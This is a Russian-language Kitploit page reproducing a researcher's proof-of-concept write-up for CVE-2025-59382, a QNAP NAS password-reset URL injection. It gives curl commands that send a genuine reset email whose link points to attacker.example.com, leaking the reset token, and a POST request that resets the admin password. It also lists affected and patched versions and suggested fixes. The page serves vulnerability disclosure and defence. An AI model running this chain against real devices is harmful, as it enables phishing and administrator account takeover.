Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-59382-QNAP-Password-Reset-Account-Takeover — Доказательство концепции и техническое описание для CVE-2025-59382, неаутентифицированная инъекция URL сброса пароля в QNAP NAS, которая позволяет выполнить цепочку от фишинга до захвата учётной записи. | Kitploit
Инструменты/GitHubGitHub/rat5ak/cve-2025-59382-qnap-password-reset-account-takeover
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийФишингТестирование на ПроникновениеОбучение и Образование
GitHubrat5ak/cve-2025-59382-qnap-password-reset-account-takeover

CVE-2025-59382-QNAP-Password-Reset-Account-Takeover

Доказательство концепции и техническое описание для CVE-2025-59382, неаутентифицированная инъекция URL сброса пароля в QNAP NAS, которая позволяет выполнить цепочку от фишинга до захвата учётной записи.

Репозиторий
1112 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-59382: Сброс пароля QNAP до захвата учётной записи

Неаутентифицированный URL сброса пароля, контролируемый атакующим, в /cgi-bin/reset_password.cgi.

Протестировано на QuTScloud c5.2.4.3041 build 20250211 в лабораторных условиях. QNAP позже опубликовала это как CVE-2025-59382 в уведомлении QSA-26-10.

Краткая версия

Неаутентифицированный атакующий с локальным сетевым доступом или доступом к открытому интерфейсу управления NAS может внедрить произвольный URL в официальное письмо сброса пароля QNAP, манипулируя параметром url функции send_mail в /cgi-bin/reset_password.cgi.

Жертва получает настоящее письмо сброса пароля QNAP от NAS. URL атакующего встраивается непосредственно в тело HTML-письма, и QNAP добавляет токен сброса () к этому URL.

rp

Это превращает письмо сброса пароля в аккуратную цепочку фишинг-к-захвату-учётной-записи:

  1. атакующий запускает сброс пароля со своим URL
  2. NAS отправляет настоящее письмо сброса QNAP жертве
  3. жертва нажимает на URL атакующего
  4. атакующий получает токен сброса rp
  5. жертва вводит код проверки (vc) на фишинговой странице
  6. атакующий сбрасывает пароль администратора и входит в систему

Требуется взаимодействие с жертвой, но аутентификация атакующего не нужна.

Триггер

root@kitploit:~
curl "http://<NAS_IP>:8080/cgi-bin/reset_password.cgi?func=send_mail&user=admin&url=https://attacker.example.com/phish"

NAS отправляет официальное письмо сброса и добавляет токен сброса к URL атакующего, например:

root@kitploit:~
https://attacker.example.com/phish&u=admin&rp=e15a88a01fa81e58352b4b157607cb44

Код проверки также показан в том же письме. В лабораторных данных это выглядело так:

root@kitploit:~
Your verification code is: 2FEA2B8B

Таким образом, фишинговая страница должна только попросить жертву ввести код проверки. Токен rp уже попадает на сервер атакующего при нажатии на ссылку.

Сброс пароля

Как только атакующий получает токен rp и связанный с ним код проверки vc, он может сбросить пароль администратора:

root@kitploit:~
curl -X POST -d "func=reset_user_pw&user=admin&token=e15a88a01fa81e58352b4b157607cb44&vc=725E0F00&new_pw=UHduZWQyMDI2IQ==" \
  "http://<NAS_IP>:8080/cgi-bin/reset_password.cgi"

Финальный вызов сброса должен быть POST. Код проверки, который жертва вводит на поддельной странице, отправляется в QNAP как vc=<code>.

Новый пароль закодирован в base64 в поле new_pw. В PoC этого было достаточно, чтобы изменить пароль администратора и затем войти как администратор.

Почему это работает

Обычный поток фронтенда строит локальный URL NAS, например:

root@kitploit:~
location.protocol + "//" + location.host + "/cgi-bin/main.html?cp=1"

Но бэкенд доверяет параметру url, предоставленному клиентом, вместо того чтобы генерировать URL сброса самостоятельно. Затем он строит ссылку в письме, используя это значение, и добавляет:

root@kitploit:~
&u=<user>&rp=<reset_token>

Он просто доверяет тому, что передано как url.

Воздействие

  • неаутентифицированный триггер письма сброса
  • официальное письмо QNAP содержит URL, контролируемый атакующим
  • токен сброса утекает к атакующему при нажатии жертвой
  • код проверки может быть получен фишингом из того же потока писем
  • лабораторная цепочка подтвердила сброс пароля администратора и вход администратора

Доставка осуществляется через доверенное письмо NAS.

Публичный статус

  • CVE: CVE-2025-59382
  • Advisory: QSA-26-10
  • Дата выпуска уведомления QNAP: 2026-06-17
  • Vendor CWE: CWE-472
  • Vendor CVSS v4.0: 5.1 Medium
  • Статус QNAP: исправлено

QNAP перечисляет затронутые продукты:

  • QTS 5.2.7
  • QuTS hero h5.2.8
  • QuTS cloud c5.2.8
  • QVP 2.7.1

Исправленные версии, указанные QNAP:

  • QTS 5.2.9.3499
  • QuTS hero h5.2.9
  • QuTS cloud C5.2.9
  • QVP 2.8.0

QNAP описала проблему как удалённый атакующий, изменяющий URL сброса пароля и обманом заставляющий жертву посетить контролируемую атакующим страницу сброса, что приводит к краже учётных данных.

Моей лабораторной целью был QuTScloud c5.2.4.3041 build 20250211. В лаборатории я добился сброса пароля администратора и входа администратора после взаимодействия с жертвой.

Небольшое замечание: я воспроизвёл это в лаборатории 2026-05-09 и отправил в QNAP 2026-05-11; они пометили это как дубликат INTSI000-9029. Поскольку QNAP опубликовала CVE/уведомление, я публикую PoC. Благодарность Tim Coen как первому обнаружившему.

Что бы я исправил

Я не знаю точного патча, который использовала QNAP. В их уведомлении перечислены только исправленные версии.

Моя догадка о правильном исправлении проста: не позволяйте браузеру указывать NAS, куда должна вести ссылка сброса.

NAS должен сам строить эту ссылку. Если QNAP всё ещё нужен параметр url для этого потока, он должен принимать только обычную страницу сброса NAS и отвергать любую внешнюю ссылку.

Я бы также кодировал всё, что попадает в тело письма, и добавил бы ограничение частоты для неаутентифицированных запросов на сброс по email.

Ссылки

  • QNAP advisory: https://www.qnap.com/en/security-advisory/qsa-26-10
  • QNAP CVE JSON: https://www.qnap.com/uploads/security-advisories/QSA-26-10/CVE-2025-59382.json
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-59382
  • CVE record: https://www.cve.org/CVERecord?id=CVE-2025-59382

Отказ от ответственности: Этот эксплойт опубликован в образовательных и оборонительных исследовательских целях. Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения. Автор не несёт ответственности за неправомерное использование.

Daniel Wade - GitHub · Twitter/X · Bluesky · Mastodon · Medium · nadsec.online

Скачать инструмент